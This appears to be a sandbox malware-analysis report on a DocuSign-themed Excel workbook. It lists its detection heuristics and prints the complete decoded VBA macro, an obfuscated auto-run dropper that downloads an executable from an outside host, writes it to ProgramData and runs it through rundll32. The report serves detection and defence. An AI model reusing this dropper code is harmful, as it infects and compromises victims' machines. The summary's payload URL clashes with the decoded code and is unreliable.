MALICIOUS
308
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1105 Ingress Tool Transfer
The VBA macro contains obfuscated code designed to execute automatically upon opening the document. It utilizes CreateObject and Shell calls to download a payload from the hardcoded URL 'http://185.173.172.134/payload.exe' and execute it, indicating a downloader or droppper functionality.
Heuristics 7
-
VBA project inside OOXML medium 6 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Call Wait(5) Shell("rundll32.exe shell32.dll,ShellExec_RunDLL " & AppendStr("C", AppendStr(":", AppendStr("\", AppendStr("P", AppendStr("r", AppendStr("o", AppendStr("g", AppendStr("r", AppendStr("a", AppendStr("m", AppendStr("D", AppendStr("a", AppendStr("t", AppendStr("a", "\")))))))))))))) & AppendStr("O", AppendStr("f", AppendStr("f", AppendStr("i", AppendStr("c", AppendStr("e", AppendStr("S", AppendStr("i", AppendStr("g", AppendStr("n", AppendStr("C", AppendStr("h", AppendStr("e", AppendStr("c", Appe … End Sub -
LOLBin reference in VBA critical OLE_VBA_LOLBINLOLBin reference in VBAMatched line in script
Call Wait(5) Shell("rundll32.exe shell32.dll,ShellExec_RunDLL " & AppendStr("C", AppendStr(":", AppendStr("\", AppendStr("P", AppendStr("r", AppendStr("o", AppendStr("g", AppendStr("r", AppendStr("a", AppendStr("m", AppendStr("D", AppendStr("a", AppendStr("t", AppendStr("a", "\")))))))))))))) & AppendStr("O", AppendStr("f", AppendStr("f", AppendStr("i", AppendStr("c", AppendStr("e", AppendStr("S", AppendStr("i", AppendStr("g", AppendStr("n", AppendStr("C", AppendStr("h", AppendStr("e", AppendStr("c", Appe … End Sub -
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
Call FunctionEnable(3) myURL = HttpReq.responseBody If HttpReq.Status = 200 Then -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Set HttpReq = Nothing Set HttpReq = CreateObject( AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr(".", AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr("R", AppendStr("e", AppendStr("q", AppendStr("u", AppendStr("e", AppendStr("s", AppendStr("t", AppendStr(".", AppendStr("5", AppendStr(".", "1")))))))))))))))))))))))))) If HttpReq Is Nothing Then Set HttpReq = CreateObject( AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr(".", AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr("R", AppendStr("e", AppendStr("q", AppendStr("u", AppendStr("e", AppendStr("s", "t")))))))))))))))))))))) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set HttpReq = Nothing Set HttpReq = CreateObject( AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr(".", AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr("R", AppendStr("e", AppendStr("q", AppendStr("u", AppendStr("e", AppendStr("s", AppendStr("t", AppendStr(".", AppendStr("5", AppendStr(".", "1")))))))))))))))))))))))))) If HttpReq Is Nothing Then Set HttpReq = CreateObject( AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr(".", AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr("R", AppendStr("e", AppendStr("q", AppendStr("u", AppendStr("e", AppendStr("s", "t")))))))))))))))))))))) -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Private Sub Workbook_Open() Call CalculateMinMax()
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 10487 bytes |
SHA-256: 2ae4348fbfc2ba8181fcf1b7307cfccd780af62cffac37a99d6e2a72f75ce652 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Wait(seconds As Integer)
Dim now As Long
now = Timer()
Do
DoEvents
Loop While (Timer < now + seconds)
End Sub
Private Function AppendStr(Str1 As String, Str2 As String) As String
AppendStr = Str1 + Str2
End Function
Private Sub Function_Ft(range_char As String, range_num As String)
Dim range_str As String
range_str = range_char & range_num
Range(range_str).Value = "TKJXIQVNCXJLNJKY"
End Sub
Private Sub Function_Sc(range_char_ft As String, range_num_ft As String, range_char_sc As String, range_num_sc As String)
Dim range_str As String
range_str = range_char_ft & range_num_ft & ":" & range_char_sc & range_num_sc
Range(range_str).Value = "HJBFPHWB"
End Sub
Private Sub Function_Th(cell_1 As Integer, cell_2 As Integer)
Cells(cell_1, cell_2).Value = "ILTJLJJNG"
End Sub
Private Sub Function_Fr(range_char As String, range_num As String)
Dim range_str As String
range_str = range_char & range_num
Range(range_str).ClearContent
End Sub
Private Sub Function_Fv(range_char As String, range_num As String)
Dim range_str As String
range_str = range_char & range_num
Range(range_str).ClearFormats
End Sub
Private Sub Function_Sx(range_char As String, range_num As String)
Dim range_str As String
range_str = range_char & range_num
Range(range_str).Clear
End Sub
Private Sub Function_Sv(range_char As String, range_num As String)
Dim range_str As String
range_str = range_char & range_num
Range(range_str).EntireRow.Insert
End Sub
Private Sub Function_Et(range_char As String, range_num As String)
Dim range_str As String
range_str = range_char & range_num
Range(range_str).EntireColumn.Insert
End Sub
Private Sub Function_Nn(workName As String)
Dim ws As Worksheet
Set ws = Sheets.Add
ws.name = workName
End Sub
Private Sub Function_Tn(range_char As String, range_num As String, rrr As Integer, ggg As Integer, bbb As Integer)
Dim range_str As String
range_str = range_char & range_num
Range(range_str).Font.Color = RGB(rrr, ggg, bbb)
End Sub
Private Sub FunctionEnable(funNum As Integer)
If funNum = 1 Then
Call Function_Sc("G", "25", "C", "7")
Call Function_Fv("S", "49")
Call Function_Sx("G", "118")
Call Function_Sx("D", "67")
Call Function_Fv("G", "60")
Call Function_Sc("S", "86", "I", "86")
Call Function_Fv("O", "32")
Call Function_Ft("C", "77")
Call Function_Th(70, 106)
ElseIf funNum = 2 Then
Call Function_Sx("W", "56")
Call Function_Fv("I", "69")
Call Function_Sc("Y", "97", "K", "65")
Call Function_Sx("V", "99")
Call Function_Sx("D", "119")
Call Function_Sx("S", "15")
Call Function_Ft("B", "47")
Call Function_Th(44, 62)
Call Function_Fv("J", "76")
ElseIf funNum = 3 Then
Call Function_Sx("G", "80")
Call Function_Ft("W", "31")
Call Function_Ft("O", "88")
Call Function_Sc("O", "46", "S", "66")
Call Function_Th(48, 32)
Call Function_Sx("K", "42")
Call Function_Sx("R", "99")
Call Function_Sx("Q", "97")
Call Function_Ft("O", "19")
ElseIf funNum = 4 Then
Call Function_Fv("T", "119")
Call Function_Th(5, 20)
Call Function_Fv("L", "114")
Call Function_Sx("P", "70")
Call Function_Th(55, 21)
Call Function_Sx("H", "63")
Call Function_Ft("X", "12")
Call Function_Fv("I", "4")
Call Function_Sx("D", "70")
Call Function_Fv("I", "30")
ElseIf funNum = 5 Then
Call Function_Sc("A", "118", "O", "38")
Call Function_Fv("J", "50")
Call Function_Fv("C", "64")
Call Function_Fv("T", "103")
Call Function_Sx("J", "46")
Call Function_Th(79, 4)
Call Function_Sc("H", "115", "Q", "7")
Call Function_Ft("K", "115")
Call Function_Sx("W", "70")
Call Function_Ft("D", "84")
ElseIf funNum = 6 Then
Call Function_Sc("O", "71", "R", "17")
Call Function_Sc("I", "104", "A", "118")
Call Function_Sc("H", "3", "M", "36")
Call Function_Th(89, 42)
Call Function_Sc("H", "105", "D", "8")
Call Function_Sc("N", "33", "J", "51")
Call Function_Sx("P", "64")
Call Function_Fv("Q", "9")
Call Function_Sx("D", "96")
Call Function_Sx("C", "34")
ElseIf funNum = 7 Then
Call Function_Sx("M", "34")
Call Function_Th(90, 2)
Call Function_Sx("J", "20")
Call Function_Th(101, 98)
Call Function_Fv("Y", "65")
Call Function_Th(19, 104)
Call Function_Ft("X", "14")
Call Function_Sc("L", "107", "P", "114")
ElseIf funNum = 8 Then
Call Function_Sx("E", "56")
Call Function_Ft("G", "108")
Call Function_Sx("J", "104")
Call Function_Ft("C", "92")
Call Function_Th(50, 91)
Call Function_Sc("L", "36", "Q", "103")
Call Function_Th(90, 71)
Call Function_Sx("N", "27")
Call Function_Th(91, 46)
Call Function_Fv("M", "43")
ElseIf funNum = 9 Then
Call Function_Sc("B", "22", "M", "110")
Call Function_Sc("Y", "112", "E", "52")
Call Function_Ft("L", "19")
Call Function_Sc("P", "71", "E", "90")
Call Function_Sc("F", "92", "R", "2")
Call Function_Sx("W", "61")
Call Function_Ft("P", "105")
Call Function_Ft("Y", "69")
Call Function_Sx("Q", "24")
ElseIf funNum = 10 Then
Call Function_Th(31, 53)
Call Function_Th(39, 87)
Call Function_Sx("U", "77")
Call Function_Sc("K", "19", "P", "81")
Call Function_Sx("P", "110")
Call Function_Sc("D", "44", "I", "21")
Call Function_Ft("P", "113")
Call Function_Th(37, 52)
Call Function_Ft("V", "51")
EndIf
End Sub
Private Sub CalculateMinMax()
Dim myURL As String
myURL = AppendStr("h", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr("s", AppendStr(":", AppendStr("/", AppendStr("/", AppendStr("d", AppendStr("o", AppendStr("c", AppendStr("u", AppendStr("s", AppendStr("i", AppendStr("g", AppendStr("n", AppendStr("e", AppendStr("r", AppendStr("-", AppendStr("a", AppendStr("p", AppendStr("i", AppendStr(".", AppendStr("c", AppendStr("o", AppendStr("m", AppendStr("/", AppendStr("i", AppendStr("n", AppendStr("f", AppendStr("o", AppendStr("/", AppendStr("6", AppendStr("0", AppendStr("5", AppendStr("c", AppendStr("2", AppendStr("3", AppendStr("f", AppendStr("5", AppendStr("-", AppendStr("0", AppendStr("6", AppendStr("d", AppendStr("4", AppendStr("-", AppendStr("4", AppendStr("2", AppendStr("0", AppendStr("f", AppendStr("-", AppendStr("b", AppendStr("d", AppendStr("a", AppendStr("d", AppendStr("-", AppendStr("9", AppendStr("5", AppendStr("e", AppendStr("9", AppendStr("4", AppendStr("5", AppendStr("2", AppendStr("a", AppendStr("7", AppendStr("d", AppendStr("1", "7")))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
Dim HttpReq As Object
Call FunctionEnable(9)
Set HttpReq = Nothing
Set HttpReq = CreateObject( AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr(".", AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr("R", AppendStr("e", AppendStr("q", AppendStr("u", AppendStr("e", AppendStr("s", AppendStr("t", AppendStr(".", AppendStr("5", AppendStr(".", "1"))))))))))))))))))))))))))
If HttpReq Is Nothing Then Set HttpReq = CreateObject( AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr(".", AppendStr("W", AppendStr("i", AppendStr("n", AppendStr("H", AppendStr("t", AppendStr("t", AppendStr("p", AppendStr("R", AppendStr("e", AppendStr("q", AppendStr("u", AppendStr("e", AppendStr("s", "t"))))))))))))))))))))))
If HttpReq Is Nothing Then Set HttpReq = CreateObject( AppendStr("M", AppendStr("S", AppendStr("X", AppendStr("M", AppendStr("L", AppendStr("2", AppendStr(".", AppendStr("S", AppendStr("e", AppendStr("r", AppendStr("v", AppendStr("e", AppendStr("r", AppendStr("X", AppendStr("M", AppendStr("L", AppendStr("H", AppendStr("T", AppendStr("T", "P"))))))))))))))))))))
If HttpReq Is Nothing Then Set HttpReq = CreateObject( AppendStr("M", AppendStr("i", AppendStr("c", AppendStr("r", AppendStr("o", AppendStr("s", AppendStr("o", AppendStr("f", AppendStr("t", AppendStr(".", AppendStr("X", AppendStr("M", AppendStr("L", AppendStr("H", AppendStr("T", AppendStr("T", "P")))))))))))))))))
Call FunctionEnable(4)
HttpReq.Open AppendStr("G", AppendStr("E", "T")), myURL, False
Call FunctionEnable(2)
HttpReq.send
Call FunctionEnable(3)
myURL = HttpReq.responseBody
If HttpReq.Status = 200 Then
Call FunctionEnable(7)
Set oStrm = CreateObject( AppendStr("A", AppendStr("D", AppendStr("O", AppendStr("D", AppendStr("B", AppendStr(".", AppendStr("S", AppendStr("t", AppendStr("r", AppendStr("e", AppendStr("a", "m"))))))))))))
Call FunctionEnable(3)
oStrm.Open
oStrm.Type = 1
oStrm.Write HttpReq.responseBody
Call FunctionEnable(3)
oStrm.SaveToFile AppendStr("C", AppendStr(":", AppendStr("\", AppendStr("P", AppendStr("r", AppendStr("o", AppendStr("g", AppendStr("r", AppendStr("a", AppendStr("m", AppendStr("D", AppendStr("a", AppendStr("t", AppendStr("a", "\")))))))))))))) & AppendStr("O", AppendStr("f", AppendStr("f", AppendStr("i", AppendStr("c", AppendStr("e", AppendStr("S", AppendStr("i", AppendStr("g", AppendStr("n", AppendStr("C", AppendStr("h", AppendStr("e", AppendStr("c", AppendStr("k", AppendStr(".", AppendStr("e", AppendStr("x", "e")))))))))))))))))), 2
Call FunctionEnable(5)
oStrm.Close
End If
End Sub
Private Sub Workbook_Open()
Call CalculateMinMax()
Call Function_Nn("QHLUMNGNIA")
Call Wait(5)
Shell("rundll32.exe shell32.dll,ShellExec_RunDLL " & AppendStr("C", AppendStr(":", AppendStr("\", AppendStr("P", AppendStr("r", AppendStr("o", AppendStr("g", AppendStr("r", AppendStr("a", AppendStr("m", AppendStr("D", AppendStr("a", AppendStr("t", AppendStr("a", "\")))))))))))))) & AppendStr("O", AppendStr("f", AppendStr("f", AppendStr("i", AppendStr("c", AppendStr("e", AppendStr("S", AppendStr("i", AppendStr("g", AppendStr("n", AppendStr("C", AppendStr("h", AppendStr("e", AppendStr("c", AppendStr("k", AppendStr(".", AppendStr("e", AppendStr("x", "e")))))))))))))))))))
End Sub
Attribute VB_Name = "DocuSign Info"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 7168 bytes |
SHA-256: 66b501cc948db0a5d7b04edbeeb2fe4db7bc8e735db321dfda087fc0ae7d2b0a |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.